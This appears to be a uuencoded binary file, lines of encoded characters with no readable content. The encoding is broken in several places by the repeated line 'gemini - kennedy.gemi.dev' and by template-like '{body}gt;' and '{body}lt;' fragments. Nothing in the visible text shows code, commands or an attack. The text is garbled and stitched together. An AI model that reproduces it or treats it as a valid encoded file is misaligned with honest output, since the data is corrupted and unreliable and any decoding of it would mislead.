M].QR=@Z/-E9!;8TV>EK-0BCE+9+";Q7RL.H4*;/{body}gt;>"N/,1P],S>JT3<^&5;
M4\=P1;L)+&(E>/>RW*,8]TCT[G5PCPJXJR3%A>)A>P`L0Z;,IDP!PU4IE.)E
M*B5JO[2N84F=.R%X&QRQI@&L3^':%09$^'5:;BZ99R/EPU!:MZCF=;GI$I'F
MCB70(P!_?`Z[?##,ODYLL@"$W6^W?5;LSO-H&;64AMN80K=)]3YMB\<!'MQO
MJK%N&SQ+';E[/#M%#N[K<DX#EF`;B@5&/GQ`-EC&()_"CXGXX.R3E<IYEO"&
MW3"YF](R<&V/%L168:Q:!+DJI>JC^!4I<0&\=@YEK<GA%T@K6[NXN^-^Z5P'
MC!B5VA&]AB%\\P0SM1M#0+2#;BMA950Y=9WN?R2)65+.2O18Z^'=J/,\6LI@
M^1Q&B1VW8_4(B//`I;.'IF4,[)FEC7V0,SW:?54-W/`I4*H&:W?;U%D=69W5
M4=AI-!GIEB'5HF<90Q<*R/9UJ+,[O!\#*,E2]UN`AZO[+50;6VB+&=&DRHRG
MNF^43S[?G:]3LALJI:E>X8I(^=NY+NFA-F<8<G;0SRC8`Z$@A'!R8$ZOR[K*
M"?9EAH&;]^+C%=`3<J6@X['N-EUR?DWM,<Z*\+K:Y,+Y==O?UH01?V<5(.SS
M:%$!/MG+Z)`_63YYC186PFT_BM4CO5D^4/7[^JPAS6O/&TU8VE5$11#0G!Q1
M#[1@."2V8-\=;0!;`]2!=4O701T0F7$R%5K-*R!H[KB-[DH)W`-Z=$M6M1N&
MG!T4((=ZT7-QY](MCS2R?G#-KAQXOBOOUB!/BD-/$A-#;MKCX872PF8TOKS<
MVJB<#0ML-9WWTU1=XIJ(BB-A>]Y<TN%NS_T@Y#8_5X2VN.H$(Z&\S*GRUL1R
MW`@Q
gemini - kennedy.gemi.dev
PN7_E#A3\Q-/G@KYLP!X6G1_R8(NAC^A1\SYWDJ!C9S37`HPNA!DC7
M?ZI`Z#,91JLH,Z\9)+5A<+AJ(F(Y-$5#BB&/V59WEF)>/+B1^[(Z?,P;`]X^
MVC5BY@XO\L$D#\P7GO&@>]93[CD><<_/,Z\A)!-L2<R3_5EK,K-`++L$K$LV
M\P8#=V=*A,=,QZR)CGFZ5YIQWZ=E32+61F`AIUDRNY0'"@QXI(!5T>[9I;1-
M6$P8[S1S<S%)6M.<,0B:.0*:6W]=)1AH45,F(;,B5Z>4#BU%>A'`P*YM(/(\
M+ST>E8@03JRRF:V-LM>DK*A+,',,ZFXI0K*<I.X8I"(8[I<\W:]F@^]Q3A*S
MI)P7)7Z<%?A@[1U>>T?4WA&UITGH65//<VI/$S;>;T#3GE]G:[@SGMSFU#IS
M#E^(3T%-`:C.-EA.$K,D.GA2#2BB[-(=))GC-F!@A@E%]$@!YK1,ZD:==&F7
M=)C9^L\9KST"+="WTYD30B3+&>:=$;<(>KM-\T"@1`;,G!$UCKRYE$XC5VIX
M4_S&"'%@-$Y.[B/`AZM7;-Z'>>!2^=/^JRN;J'>AB8!28><)&9).7M<I4JH
M:0N?0@4K[!P(1=2C\&(+76'/`>Y$R:<,@3F]LH(Q)6\FQB9S&Y4N2MD1^7$+
M,S#8RF#MK+%$V.HG"^MQM)9/]D?ZD15U$PY[_FQCX)YD5F4:K2Y=::WN%=D8
MLY`5A0J=51/9"\>+>5NB(K(&^@V'F0[9E"%-:C@QADI3%HW]@$K;0#%7OR(U
M:EF#HT;O-!7J71E\KVR'-D*R1W$!M8@E4%&!U;"ZQ=6\OH3F;#?-W5ZMS?L:
MPTWG.B"45_2X)@[8-]Q,=G2!N^Z)N^Z)N]\3=[\G[IHS%K@?VLK.6^'N;6"/
MJ[MGVADYKQY&[F;*T;L0D51,M,X4+0@2+W!F_4[RHEXQ+VF3A[WWG?.^N.`@
M!'<83IG//F4^QZ3XK$GQN4^*SWI<GN.9>(X'XD:5IN8V`^>!2V</7W4[$(4&
M!L^!:&ZP"*[[KHBA=CMYJJ2Y8_=7DF1D^J'D[J-:#BUL<&%&CRL&::.[(
MW'<+\B\K?)2$S;R6@=S/&O+A%OY>1'/'/."@VU'Y!'MTN-PF,.(%R:-,G,L4
M/T7)Y>HN&F"+Y5HE%@]@-'?T2NVVTJUYP,&YHTJR\&HMPU`,EC6<5[G)@3DP
M&1[NP]B'G(W9\CQ%ACPW/2MESRZ+`]+8SQPH&:!-$N:@XH2HT@53)^EBG4Y[
M/I@H[#DR[:M=-?VB_-?DOZ3X%<7;`7\7$.\!$I]K(&#=^XQ`LD?.,SHU0W?"
MXVB#^;E--SF*Z;%-AX<G,@59J%/VU>7RD1SE=\>,4NM^KT\6K^QW,^LU,6(1
MQW-N:XHO4\OKRPLO=Y-+EC"_%ZPG@%!M='9_JST`JLW)4B%'*'M0J.F39=3R
M^-#'@^C"L>[+RZ+NI-$\/9;:"7JMZ2IVTMRQ^RN+9&;,F4J;?H9$Y&[)-XD>
M1ERZA9EV7CVDLI%OGG*^,=`[3?F_*\UWJ:T+ZWU=O'[7)2IX7:)6UZ57'9C9
M6!=5WGKP)DU"E)A`A_!+K@ET@)+@9/C+2]:XV4F.ERNB:LTS)&,P4A2&IGZY
MV@\1HG7%P>:UG*T5V+#B94FK18`!V<LZW2!VF]EYV7>8\&GFL&K!K&5:1.WN
M=3!C^]%^*"^9/DWE:J+E7V)S&;,7GZREV].`\\"#"DL+"UU?ITYXA>UDCI8[
M=`YF)O]Y-;ZL^QMIN>'V9[@N+Z+6JJXBO)\PVG9D752(Y;K;XUF@G'O==(N\
MWK`VQ*DY7O`RWDQ+Z=*NQ6W;X7)/9F8S:J()_7IM56N9QMWZDD`KAD.7UO[P
M@[KP"?'"V0H(NE::L&080#,N2Z()R[K?U&=WGD?+J(7+VFRM]]P\C'@>+66P
MX%)VVQ##,B*"Y&F;T3X,'TJ!-'<L@8HMIXOKIDOH`JW+<"Z!RA-YB(/MU"QZ
MV@CLSH\TH{body}lt;/"X>JM-JMS8F.?)$@F(/"DWFZ8OW.9;$^Q$PDH/$#G[LO"]]L
M4,X.1=!U6(#^&@N(?!',:4TV0<>?R04KJIH)WGGG%9C';G\6^<[7H"9QK7;]
MD`GNPXR(4`Q,+;<+Q]%_JYQ$DSVFZ$F:*1A)`PY\G`HQ2\@*L=C[8`+?H*V?
M+(Q?5DO5WMQ=WJ;FW+J":[*IS>MM:KTX*8D6_$U?<1**"PJYGE#+"?&.9GFU
M"2E;3=@N'3%A;2NE::S47ED@2G._?:57Z,W,-.%,]1M_]Y16!KQ97[8#AJ&%
MR:?I(@&GDSV>`:ARSN@KE]R>K.XNX8.$FSFMT{body}lt;..%+GP_J2VX`&7KJG".B%
MYM/DCI)#TB/CEB.`TX+,<[2_:.ICR2J==<W5I1Q8@)7KE@CT08],"8<;ZQU2
M#AL$KD.^KQ.C`D#ACL6#E'"@<5WN+NG`0:!!8CV5FJ5C`*7*N_>2T90@X&Z6
M@DJM:!O?6D?_[=3&*:^HWM?E9DLQ7ZTO?$53:8586YN[32ZMV8#PLS'BW-)J
M[VNL7U@QLVS2FBOD3A,AX0-]&W*9::4PB:L@6)]"ZW\,$);&ZR2!J&S!F$5G
M2YR;<<88H@%6+%%N`87TA*A\*[2>DHTSFV@_Q"M!]CI)6@%..9VO\-#8:#W9
M5+R9*&Z3B.WX[DCY._LAK^VYM]JSR7J^8IW3>E[:PR-^I^NYM02+_KS3O-K`
MG])Z.J<2:&]_B'2SU=I-/)*$N<[I-&64%W/1*UX3F'F3(]O?.JNH%C:=8;R:
M"3M*G[B&E1)7PRB[+`1>L@:NP9N.{body}lt;11:?(:I'<8[:[*B(QLW8,H!2W=$;^X
MQFF!0&V^3#`D6T=FE^<%O0:$K,66DJV7"4:B>4:'N5[2"0E#HKI%[))I*X!M
M.4%FFLODTDK4ABVHBHL&(.L%5['=6[X[I`$DM=_']=:)Z3I[RK1;I-?IQEQ:
MT1=D9^&G!)"R\Q*T=D43KM9!K`M6Y:T++G@SF4'"'%2<%$_R49$A/-G6E\M&
MDV$OF_0OFFES8A"&?$6"[A^^?*F[\H73NO@/&$.9]97%?=7<'*!0[G;7$\#I
M:76-/[M;KNQ;5NOQS$1&FV1&5_2`ZQICK
gemini - kennedy.gemi.dev
Y)XG9)2Z'D12NB0,-L7P7SH,%
M2D&))KN<YT[H3H,]!:V$(\H-%]YDJNA]'*FW)@E:;_:3`K%@&^^<1G5_HUN^
M*"/YXJGE"Q/3]QY.<\<2Z`6*;SU6+/8PDTK/M^D9`*>HFEXQ"R-7!I8+1X!.
M=)3)-)8:`_W!4@8;6LUJ<T(<N)$[S
%2679SQ'S?N[Q&C-7)#K>KUBXX]0=
M6:OV^&JF&KN(6BX\+YSY!WA.WFA&"=XX]`2I$DF,ZDTQO45XNC,(:[]4U<(Q
MNY@E"Z4"8^`)X9G7]&>#HOHYBM>.EAH+U-TSK_Y+>UH0#!AN?"7:Y#:=75J`
MF_4J%NB&!?<0A1)UPP?@%=W@K?#FU6K:?@A[@F$^NPW/UMT>3%=>G68J2SOR
MTLS"'G_?7VBZ_V'IWGFSNR.*9N(+(`$NK"-^N-V"`KNU=+8'D,[S:!FU6%&T
MR7T[;BDK26O7'Z!6Z8B1?:&-[=;<'@HL=5O`AGHAF!?N@Y@27-6GUDFF>;/9
MV:^&S6SX:8T_K,;GP?T\>J!(>N\0;QU6?X=HH-N,:.Z(*A.7P#%<)+F-26[^
M&P\>8N([9UGV/*"<(6QI':1-B1@LE3\*`G3V2ZI7%HO90$];\\%Q%Z`&X$(Y
MJCE@,&AC00%&=R82Y4)ASS[KP64<ZV."D9-=[D?:.3(V6"2A_L``0OWJ$U^M
MM-#VZS+O&^9R;C:^N;G$50B<!RZ=4?EAV2,2J&`*IXFC#0,6N.A6U&!IO8Q!
M*329`-=EF%3$-1W9)5Y8!O)'Z-:;(]UP#[SA$S,S9XE5KNREC+)$H:10VOZ8
MWX@%^T"+NK7'E6+O`@>$,R([Z99ULX_SWBO?_`P61'A:F('3<CDTD2Q^BCP8
M2&%4OR=_STHZ!I+BH]VZ/1/@.B!UUD1SIL@4B(K/\VW<N!>\O[B=CM7+1"I"
M57-[%C]CY;K158(Q'WR??)NGJ\7$-2XF=L[0!<Z=F;Q;4.1$@YW.#>N9S$R2
M"K'-NJZB0J3P:DZ<KF]RS_F:D)V,M5_H/$-N`=V)S2Q]GA/^;"^#0QHY?[)\
M4NN6(`<L(L1$P^TZH6^_V=)X*^2BVFC:`UC1;(Q[PRVKF=2U)YAFVB]NV6#B
MQ\.JP+WQ=M,3WLT>M6_V.G]R>18@,[?#W_G?VD\0{body}gt;QV5[WMR9Z?(9*DI;&_
MFH$K9+?2"EG;SQ\3^K<=\UD0S$T;R5))/YT]MWO82"NU>*<4S
%B8UBAQT+
M\6^^>IZ0`UQ%(;B<ODG3:'=WS%@;N"B494([%-'QW<QKJE;-:61X7^W1?>L4
MCBR?(PIHEGW=+^)V8^%GV8,%87#I[^OR$BN1:$-!2;E3"71ZNF3I&_+&YD0]
M:.T'$S,)YX/C0\{body}lt;%)Z,TR9WL&SR5O-DK:&%KQ*FBM7S-RZ>AT!RA[\;=I)J
MEI"5@@G%\OH;_EJ[:M71>@U;+FEM*K"`[9/O-IB\9GW2U[D,EK@[-Y<==S0!
ME3)6_V[Q%G>S^>";2^A<TP(')+?R?64#FWF&X-"0F-P/3<*)R3>V*2&!>]/K
M6>3PQ)T64%W*H3)_`*7X'$H'B[K)L,GG@WT,,.3LD`.*DP,NS#:U'VZ>')@-
MDB=^7Z?2?JS,>SY?J0-@5@UYD4"UDP=!/.V1I2P3:6\1,B/DI;.JHOV0;E"N
M.XO7Y#(%;*2;E/>;9T;(K#>+29NHLS&!H(C0O9&@=:6.U8?U*TY%B$HU8,6!
M:@IB%9ROBO^Z/Q8/^D#T'%A0KN$"%>MRD0=+HCW='ZPHT3:@J<^)3KRF)I+;
M=P+<F<TV`L+EG7=\,,*).#,GBH7B30(A\W[CARI`3/-N]E2RI?.\XP,`4@HH
MH.N.R\'O1#=^)=J$K[(/+,$H=+KA\6[#B@:6O"]ZV#ZO>MB&90_.'VGD>;2,
M6JP/E/2"_J69$T6R&Z^@B"21!TCI+EM`(B@L`V2:R,9%3TX;WXAN>!G:3*YE
MMM)<T+8O*]57AEZEK3RPV5]6CGP$;&WBCS1R"8N(66`V;59C\1AMAN-$WED5
M[`KL%6&6Q,_YPE<I3<*D6_O9[,C$@=$_)0MRX$F'D@'195X3;Q+;]3ES".$
MI455NN"#98A"69/+.8!!;GKV)/'!8_,//+?XO).$7\<2ZSZ`^,T3Z,2:;?)#
MB>U<R[4I..>$-H^B))K+JWN4O57,?62$MK<-V^N$"G[%97_E!;98T:9X&]HP
M:1J`>#;61.N+^<4+UB\VHU;*=YI>Q(;(NTEJ<U'*MJ$!;DMK`JQ3QWG@TME#
MT<*XEV%%7-BLA-M>%>E>/<J]>H1[C>CV&I'M\<*X\8$G&<{body}lt;Q*'&8.G:N5-W
M#/+DF#EM[.)$K:?2>2JJIT?TC,`:MQC"Z^!5TK<R`+JSE6P'O?D+:'*AX$_<
M0#$?JQ?L6*-4A^+"Q,"&N89FMJ*H9H7SP*6SQPS+GD<V+6R]LG'KE2;8;4#.
M#O#!!VX0]/`OV$#0L#U>DA-_R"+4B3$E6F\32&F#\>2C#4A!20R26UNU'\/.
M^9JMI/4F81U8L>HL;_1Z\\DN(#(+R`%%Q/P;F8L5KTZ87;&%IS[&=!R<ZX`H
M2[?H^KM##X1JK7VE0O"@POS4-C;R:$3D9J(1H\6`KK;?@DL@Y#._!B]0>O7
M.]"/'0QD<J!/7M!0;+@E42CINL?(E_PD;93V#2\3O>)KO!@P?[*OST\NK-3!
M6D9[U\5#)6MGM'M\"PRNU%R8J#VCJ3Z%A=S:=@ID:&J=E[MJ33@/7#KK>LF"
MEMPM@QYF7<RR3Y=8`@Y[>P*M^J)JBXS-MGK6WFQHX3Y6JZ@Q+AI@$:AO3ZR`
M%]M;B6U@>;%M1!!:-XZZ7-+FD@$O'&'5Q4;E_JH*C_J*N?U2[2E)SC==8/LJ
MDN-/(-UV>[?<Y)W;;AE=^2F9(3L9`J/^[M`BG,[AH1)^=T35X]4ZI6OY@P^9
M2;9?>[KO_D4K'-K@5UV\V]@'8EGUXE><K"HNME.&N^/.##CDNTZ/I`M:]K-7
M3CE.-DFJ"BW/FXUC/1;:&`:CV>)8H]);M66\[33>WY>MD[3SP0O)`:$)ULZN
M5$WRWE]9?/NHEK(]=K!QZ1*"6[]W;Q(=WL-6KIAIEO?6I%BY1D](=LKO/MV!
M:)[ZW3RO]C++^FL\1CS9K)[M$1$5_ZS\,*7!<H,#7ALVP0_A=JRYX!*7NSZ`
MO]O:DJM64MTG>V-C)F^.3M#S1P(U/.OD[E8O=^O$\%6[$UJ)O?W!VR]T@NWG
MIUL5IH+N5SZ,0EK(J\UJ;@9V9<PT5;T!Q`.QM1D!O/(^H_.[+QH-&5BZO-#W
M):&8J)`[ALAWF^0UC76_G9K8F^+S;B-((8NWG_,3[ZR<++8=:S(A+*G=QA$3
MUMH:[Q)<#H..5'7ER&Z37>[DH*C4*0_],?$C=9H[=G^63=UV^SER`&BPABP$
MKGLQ:GWY-0T(A79MSZP]P\M-P%D"H?V6[FHNTX#;R-)9)9!O`V95A*JXVPM#
M[`S6<,,C?X,\U8-..:TN%0N7L0L41U87%(C`"=?,!(,:Y`!749Y(C"]A-&E2
MZIE]6J#[>KS9X\T1;XYXW:4DE[.#?E]@U_)PMM:B=BJ.-06IS)COAU#]D8HP
MN:\RJ3D+T').'9>ZA$69:/0>$*J4F;N-.=&Q+LJ?@3M]*&5__K_?V734:M;I
MF%VF(&D:%@%K<)5Y>E)^BP]IC:B7*JO%%T<XT=?>`FAUK6R*SY[5:Z?0]EIV
M'CP>:>0UHL0M+U`!5+(E99?N(8F;[OVN:)XJ/Q\$*!D%*'4J@;E3.`[1*+^&
MWO"<0YW0GL3;G1"8O?PD90'L4<,2,8:M="NQJ&WD:2G\:9**8_@R%5#NU/6"
ME`4AJRZG\^)75=S=:QIP'KAT]DAI8>G#,NH]TB>+)W/5#Y*4.NO3UK!YU+*4
MP?9(GRQ#U'U-B#G8,#8-.`\\JG"-:[-Z+4<E1W7VVMPG&UT*AI^+["K#KBUT
M'/.`I7/'B/[DEP$[C*@6]GN.RR.>1XNJ0+:H`=E'2Z1#VZ?XHYIIW?,GB[P>
M:IT&[I1<S@XY('0<(@>/WBK;R/(6Y7OW>;1N^:Q6!DO$]AX3:*,-JD=N=>+]
M75C,R];'5Y=T6&G"@MBX4MWJP69>.1CBG=Y"^EJ.>ZSEX"Z@O@5H>W"`@86;
MD#9V)]`;HZ#6OW$?"`&\^"UJ>Z1XL?JDI,.*R!8\(N?I!",5=)*-+"F(S24&
M2H'%67"6"*US**UTH>5IYOFZ)4D;APJ@<+-7N;F-?J\F3PLZ7<I"L*\=K':<
M64>RA;LU!*>Y8VCRHCO;11+O>4"HTZ4]"UBK-3!7*R\7'4#,DH42M0>Y`5#<
M,[6N,+!BEY*#5K(*8VPC<0!JM`$G])VH=FI#;ELLU7!NSZRII)&IHV3;3_K&
M=%*?PPB;#8W=(JTLH5BRG&6MSSO3>MEW1K2<II5)+?2QKR^DSMINL@VL\-U+
M9]>H^,;,B8\D;AM4^/W):%/MR9X^613PX6{body}gt;R>7LD`-<.4)%KA]>/TQ+[EP=
MG-%BSPA3%E[I:I=H0Y#*<K3,V`\Q8S%AYM16]OT?,Q;SY)FK;BCI;J0V81';
M^ZR,;X0S5MZ;"4O[(=]A-]L%.WI.06R%%Q8>E7]!@[_@J]V`0MJH11M\#_V&
M`4\`K:C$)K)$H:1@)5T.#EP$_EL+&_-T:#R3\0JE]7,S<N'S1(0:`)T9!NZ<
M?#+5)PV\`YNY460*:/`63$F'VAX_\<6V<QT0UZY;U-;<P2.HVK:=%E25K7]/
M"BY$^P6QB1KZ?R11IY'"[0^=ES95_MKO2_2!9@O%D]G[LIG'_9<,%2WCU3R
M#6N,3'#EFU,!7M(\4W6Z8)UK`UTX`M4JHK!.*0?`![\!?`5C7V>@^X-$E+@"
M_/HJWU[LU4&^7?'".W,/77TW@T]E,-S*MQ7[9^?;OKU"9)I,8<])]B?
gemini - kennedy.gemi.dev
=M]
MJ1*(DD9[^F;4IKGMZ*!V>^=N9J'@==K1;+CKN+VMP_7:#[EB-`=9*)EC_.C:
M@[6M)\GW=,&&70)3S'AV:H*_N#:.OH1$C"#&!52E!Q>W$#9[`*6<'2+(%KL.
MTI(#PLG!4U3()TW%^806'ZR;Q`_/!+T3OY42N(HB)*%M9ZU'$+@BI'V'@%]Z
M5M<,*8<D,4O*62GL%X["2#6`:6J[]1S;K>?8;CWW[=:%O"0VUV>FM-_XQ:(3
M`[Y1/'<)LQ9NPD(I!S0DW02P3,$F^MI@$6L%(`LDY_(!R5VX<%:8.H5_.=LG
MC\6CL/)6_II,K&[7[:)>,^<;,E\LS)WHB!]-:_K7'7<Q42&NR:4<M/E+X#PP
MDY;%DY=U8%:]6U@[81GT]CSR)P\FQ'R\8`]
gemini - kennedy.gemi.dev
;5>V'D0<E!XJM:%FG$?[,_!
MMHZ6*)1]<<([$9E*[(4AJ28-ODX31)1<B9.U#BS759'#.+*UL?JVHX<_;$5C
M?B+Z)R*W_T_V@S(XXT$8@AOW"JLHN6_JOJG[Y@"/#)<()!<^0SO)D1%H>LJ)
M8P2W*>4<F^*[A5&@7BAQ@R?";UG,W)%&;D-*1=LPY.Q0!$HA+]JJR-]XV'1T
MN4ZX+U':)2A7NTMROV<N#V[FPRZGT8KU24TFJ&)):A/MATC".X%RK>@T*2T&
M^X%S%9,6,!7MQ$09JW4_64NWIP'#&3##:VWW*<NO5:<YO'Z%KT?/8)3O%>7A
M-[!-O)G)BK&O><N:4GM.\#<\Q=CF@3'@*G>,O2%HW6!F77X1O*[3"M7K$Z^P
M"]:`-)/W$D$169<AF(/"D[F[QYYG@:%A78&3'!6CQ^>Q+9O+BX/YX`^?,4,P
MCR+W0U3%OR,'T>L&TSX%"&")@N?14@:+1R7;OGVV=542ML^B5)R-/`[N<M7@
M25,:3_FGVVG%O'1@<0Y'!DE::>_4]8*6`7OT2)B_>S\@A)`%KJM*Q1=)$%+-
MKJKO;D{body}gt;*'O]I!QUDW2TC).RD/NVO;!1RG2A-`</3ZF4FY>"Z`I[#J`3E>B_
MS'PA"\(3FA-SA2$=A#JKHL$=(5R8':,<X$[*80P``UV!\J8E38'SP(.*1W>+
M)4V#A7JE2J@3<2S!7:$.CISH'&WNJ<R42+TPW*YI8:>Y8_=7F#VFA#NCOPK;
M$.211N;%D$T7;/<U0H$,OGFAC5#./;M0_OSE;&`10Q[ZQ1W<2H9`GUN2F"7E
MK!(>-[]).=(_>Y:.')<!LQD0LTN6DMN_4;JFI"?C&T"6\L2\(>46P%M.<)%%
M\S_XH#FY+(!<Z5!Y!^)/VD:FN!D1"@DO_@6X?$3Y0ESM(:S@^=1,O#H6H+0U
M-H,4LF#!*%L=MH;DTP86?C!F/,E1IB"/A0=0:7ETT=V\9MYMJU6>QDQB))"C
M=K*F3IQXKY;%<;^QBH3=F9,!@V5]AE74[J^EJ]&&"`Y>!6TJ#5"':*O@4)V'
MQG9/?,\WK-T(5(JQCJ/1O?)).+SN%4MSG$J@8B*Z^M8_8W`+N\IN&14;MMJK
MMI>&S2G8FB`S'QHR5UM8;V6Q'+3'ICN_TJE7VZH#*X3KE6=205:7"`LJ`)LJ
M,;$HB/;/,*+(XU-5;8,^)`CI#HQSC;&JV+RY5RT$,NNE6;7V2A!.!6#F;2]W
MKA8)')P1=K?7^V::AZU!UH<`P]I_(+UC@`E.+F<'UT+[Y\D.E5UK]6VQ>:Q#
MY3M($_Q=57XJ7FV:N6:L)VPM\LP5-$X(;\QG*B+=N+R-@)A)1>1*',Y4O2*I
M%:_(()++V2
N&IR8"Q&RKVC%%XE>*L&>KRO'N]KQ/L:T;W2Q8:"M3_N.#Z%
MBHI;ZP@\H{body}gt;U;)&S9>LY8U.RMEY=,C90[A1JBM"0;MLLP5M)8`FNG=PQ>:"4
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
M`W$?S5C;?PNZ8%$!;OAQK3S_19`#0L>!$:^M2S-QYB
gemini - kennedy.gemi.dev
),L(,K7.TF(S6;UU
MK/,;*A07>TTOZ/K9-'C5UQ=;%GF:T.MBCW=HOL)`OV_"[\*?;"6LJ=/<L?LK
M;Z^3PDAK\4R^N@)M*`$RNJ)AF2B4>78IAU)=TH%1JX2V"FN;.DDE2U8)6B^V
M??!)7T="XK$ZB%J\E4(JJ1T;N0:%FD>CNRXVSCUIDUR3=UN=ZR`GV\LY#TCG
MO.^W`#K1M+NW`7SI<T/EE8DF/%0*^Y(=PPX1+RYF?-`].2*:C\G"W*97B_^&
MN=4,6F`B60N_\4Z^H<_C"R*3J'03%MF&05.3YVS;V)YXI^17DI+A4`2L/+QV
M,+&$I()[+U6"SO>I{body}amp;163PI$QS>LL0V2XS+7:R<Z/FDJ+>15/R"Z*-N>U\MJ
ME7<E)@G$=,$@9[O0<E@5;AQFZ36VH`@4H;^R!K(3\X,J&WV[TX3E%09C8@^V
MJ>?:]-O:7O-QKP%GU20MST!%83B&HRY,-ON-;7Y3@]_4VK?O#ORJ(`>G184W
M!M"XIN02#A4-=E-9?2BSQ2AF\\+7@Z99[I@&DT0[!+E7=9D"T!J!ZN7O6FT9
MV^X!/I++V<%]F!W+93[!P-,J($^2'#6+W!,_10#R#*K,!/DIVH_2::5K.A\I
M8`ZBHCN@XX24.W.YU&D5')E#R&`J\CY@!_V=[".D=<>/.)]ME_D3.U[VNNA$
M>&ER>M'XL-&.#HX@-V8\J9_/S`O32[@R^655Z5^HB].:)!G)12]%A5!&SY'9
M763]`/,5`T@UE5:5'/@3H,CQ&'K=S!]+YH\EZ\>2]6-A?YPY_L@K'C,PKLBV
M-6,AL$84]89F;T(2(;>K:U')5IW<.J6YLQ*FA=K,[?;T.'S,F?4^*"@<U;S0
MO^7=:]V>VE9!DHL{body}lt;KE_QV9ETL,@=@W$LP^J<V:7G;-ZZJQ6D#%T-+&&@VZC
MAE+=)"(-598M-)E3)WHN+&%>5#Z_KEAGDYTX%L[9!:X4?LG-U/U.A%AH5.HA
M=;W`#BI$N:B`T0-EKV[<+C+V`;HEQK:J/'5_I;`\%51]L=6PMB8%-W(,L4K2
M((=01+AA-=#SJXB^=&"8E958N/6>@YR>$#=T0-K=P($:FX?.,,%7&$SD*B?>
M[B`]B.Y.!4VM:+(&!.\%F<'XO>"77%Q_HS_,5QA,ZQ4_'1->(<(BIE0T;*O,
MBC)>&$%A]=LRSM0!&E656;TJT?\5]E*%'6#1_:IHH%M\B&MQV9(CZPWY4.O/
MLR97-AY_JJVJ=<:)1E(Q<U$5Y$KU*YM152A5:FM.M.;]E`+<"6V'0">:]3BY
MI,.1T;7:G0QY1G&J"H.A"&JEVAY)]"/1D=GTYT-;(R$A[RSA>KJ%]JD&GV6H
MNM'Z1)"M=I"8)?V1*KBX!4<Q#NP>,?O2+>ZE9N[HSMFE.X2TEV@=Y<R\'IR1
M.S03=\PPTHK5CB=[TVWF=<)-VMX#FWCG$^1CXES`PX<`;QA)OJTP4/8W)?.&
